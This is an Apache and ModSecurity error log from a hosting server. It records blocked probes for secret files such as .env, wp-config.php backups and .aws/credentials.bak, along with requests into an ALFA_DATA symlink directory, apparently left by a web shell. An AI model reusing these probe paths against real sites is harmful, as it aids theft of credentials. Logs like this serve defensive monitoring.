[Tue Oct 27 09:04:01.248070 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auChQTyZibD2nTuanG6-ngAAAAk"]
[Tue Oct 27 09:04:01.248315 2026] [security2:error] [pid 3233596:tid 3233596] [client 207.175.194.102:42542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auChQTyZibD2nTuanG6-ngAAAAk"]
[Tue Oct 27 09:04:01.248583 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auChQbvyvYxrvOc4a9_XuwAAAAI"]
[Tue Oct 27 09:04:01.248999 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auChQbvyvYxrvOc4a9_XuwAAAAI"]
[Tue Oct 27 09:04:01.249288 2026] [security2:error] [pid 3237845:tid 3237845] [client 207.175.194.102:42572] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auChQbvyvYxrvOc4a9_XuwAAAAI"]
[Tue Oct 27 09:04:01.251304 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auChQW_oZ855J3-bmxErFgAAAAY"]
[Tue Oct 27 09:04:01.251448 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auChQW_oZ855J3-bmxErFgAAAAY"]
[Tue Oct 27 09:04:01.251779 2026] [security2:error] [pid 3219292:tid 3219292] [client 207.175.194.102:42546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auChQW_oZ855J3-bmxErFgAAAAY"]
[Tue Oct 27 09:04:01.285153 2026] [security2:error] [pid 3237931:tid 3237931] [client 207.175.194.102:42602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auChQdnu4PiQlk7KK0qaAgAAABQ"]
[Tue Oct 27 09:04:01.285550 2026] [security2:error] [pid 3237931:tid 3237931] [client 207.175.194.102:42602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auChQdnu4PiQlk7KK0qaAgAAABQ"]
[Tue Oct 27 09:04:01.286167 2026] [security2:error] [pid 3237931:tid 3237931] [client 207.175.194.102:42602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auChQdnu4PiQlk7KK0qaAgAAABQ"]
[Tue Oct 27 09:04:01.292414 2026] [security2:error] [pid 3237930:tid 3237930] [client 207.175.194.102:42612] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auChQW0ikC7Ti4M1D-4sigAAABM"]
[Tue Oct 27 09:04:01.292643 2026] [security2:error] [pid 3237930:tid 3237930] [client 207.175.194.102:42612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auChQW0ikC7Ti4M1D-4sigAAABM"]
[Tue Oct 27 09:04:01.292990 2026] [security2:error] [pid 3237930:tid 3237930] [client 207.175.194.102:42612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auChQW0ikC7Ti4M1D-4sigAAABM"]
[Tue Oct 27 09:04:01.317366 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auChQV-8Lhg5M1Fe2hj9pgAAABI"]
[Tue Oct 27 09:04:01.317680 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auChQV-8Lhg5M1Fe2hj9pgAAABI"]
[Tue Oct 27 09:04:01.317976 2026] [security2:error] [pid 3237926:tid 3237926] [client 207.175.194.102:42592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auChQV-8Lhg5M1Fe2hj9pgAAABI"]
[Tue Oct 27 09:04:01.328069 2026] [authz_core:error] [pid 3237843:tid 3237843] [client 207.175.194.102:42580] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 09:04:03.412089 2026] [core:error] [pid 3237993:tid 3237993] (13)Permission denied: [client 3.225.45.252:35506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input1/device/driver/bind
[Tue Oct 27 09:04:19.126771 2026] [ssl:error] [pid 3237926:tid 3237926] (70014)End of file found: [client 18.211.148.239:47938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:23.227206 2026] [ssl:error] [pid 3237989:tid 3237989] (70014)End of file found: [client 54.225.199.17:8541] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:27.072281 2026] [core:error] [pid 3237870:tid 3237870] (13)Permission denied: [client 54.90.244.132:2643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/remove
[Tue Oct 27 09:04:35.173121 2026] [core:error] [pid 3237926:tid 3237926] (13)Permission denied: [client 52.4.229.9:36510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/new_id
[Tue Oct 27 09:04:39.833625 2026] [core:crit] [pid 3237871:tid 3237871] (13)Permission denied: [client 185.12.59.118:58516] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 09:04:43.203362 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 44.193.102.198:49157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:47.185021 2026] [ssl:error] [pid 3237926:tid 3237926] (70014)End of file found: [client 54.83.56.1:2124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:50.232618 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 85.208.96.199:26508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:51.419033 2026] [ssl:error] [pid 3237931:tid 3237931] (70014)End of file found: [client 44.223.232.55:42600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:04:55.275090 2026] [ssl:error] [pid 3237846:tid 3237846] (70014)End of file found: [client 54.147.238.89:6990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:03.505863 2026] [ssl:error] [pid 3237926:tid 3237926] (70014)End of file found: [client 52.44.229.124:20257] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:11.251037 2026] [core:error] [pid 3237931:tid 3237931] (13)Permission denied: [client 52.200.93.170:53461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/i2c-0/new_device
[Tue Oct 27 09:05:15.361415 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 3.218.103.254:62439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:17.163989 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 85.208.96.193:58798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/red_zone
[Tue Oct 27 09:05:19.504648 2026] [ssl:error] [pid 3237991:tid 3237991] (70014)End of file found: [client 54.144.185.255:32314] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:23.440155 2026] [ssl:error] [pid 3238010:tid 3238010] (70014)End of file found: [client 52.73.6.26:38987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:31.365979 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 44.221.227.90:14380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:05:34.604566 2026] [security2:error] [pid 3220898:tid 3220898] [client 107.172.76.131:59132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auChmY0JjhEi1NzVi4Xs7AAAAAc"]
[Tue Oct 27 09:05:34.604614 2026] [security2:error] [pid 3220898:tid 3220898] [client 107.172.76.131:59132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auChmY0JjhEi1NzVi4Xs7AAAAAc"]
[Tue Oct 27 09:05:55.722741 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 52.204.71.8:3901] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:07/eject
[Tue Oct 27 09:06:07.938184 2026] [core:error] [pid 3237926:tid 3237926] (13)Permission denied: [client 3.216.227.216:6660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/resource0
[Tue Oct 27 09:06:11.612207 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 54.147.182.90:50955] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:11.685225 2026] [core:error] [pid 3233612:tid 3233612] (13)Permission denied: [client 216.244.66.250:44262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/su
[Tue Oct 27 09:06:15.260429 2026] [ssl:error] [pid 3237871:tid 3237871] (70014)End of file found: [client 185.191.171.18:17708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:15.479672 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 185.191.171.18:17718] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:20.444364 2026] [core:error] [pid 3237926:tid 3237926] (13)Permission denied: [client 54.235.125.129:52919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/port
[Tue Oct 27 09:06:27.589978 2026] [ssl:error] [pid 3237888:tid 3237888] (5)Input/output error: [client 3.93.98.99:6545] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:35.657356 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 18.215.112.101:8603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/flags
[Tue Oct 27 09:06:41.466646 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 44.193.102.198:37827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:43.806196 2026] [core:error] [pid 3237888:tid 3237888] (13)Permission denied: [client 98.84.131.195:42673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:09/eject
[Tue Oct 27 09:06:47.861064 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.6.5.24:23585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:06:55.712223 2026] [ssl:error] [pid 3237926:tid 3237926] (70014)End of file found: [client 34.231.181.240:56654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:00.074065 2026] [security2:error] [pid 3237843:tid 3237843] [client 107.172.76.131:59124] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCh57L0NGPtr6217jDWgAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:07:00.074143 2026] [security2:error] [pid 3237843:tid 3237843] [client 107.172.76.131:59124] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCh57L0NGPtr6217jDWgAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:07:03.875753 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 44.216.172.204:63709] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:11.773187 2026] [ssl:error] [pid 3237883:tid 3237883] (70014)End of file found: [client 3.94.157.25:2606] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:16.098471 2026] [core:error] [pid 3237888:tid 3237888] (13)Permission denied: [client 54.225.98.148:61279] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource4
[Tue Oct 27 09:07:19.664807 2026] [ssl:error] [pid 3237871:tid 3237871] (70014)End of file found: [client 34.197.28.78:41356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:23.800991 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 100.28.44.58:34737] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:35.947679 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 18.207.79.144:32793] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:07:41.443466 2026] [authz_core:error] [pid 3238205:tid 3238205] [client 34.140.234.80:42570] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 09:07:41.672579 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlAAAAB8"]
[Tue Oct 27 09:07:41.672861 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlAAAAB8"]
[Tue Oct 27 09:07:41.673320 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlAAAAB8"]
[Tue Oct 27 09:07:41.827218 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCiHbL0NGPtr6217jDWgwAAAAA"]
[Tue Oct 27 09:07:41.827487 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCiHbL0NGPtr6217jDWgwAAAAA"]
[Tue Oct 27 09:07:41.827746 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCiHbL0NGPtr6217jDWgwAAAAA"]
[Tue Oct 27 09:07:41.837416 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlgAAAB8"]
[Tue Oct 27 09:07:41.837549 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auCiHWCe8-MB-b_EgcUqlgAAAB8"]
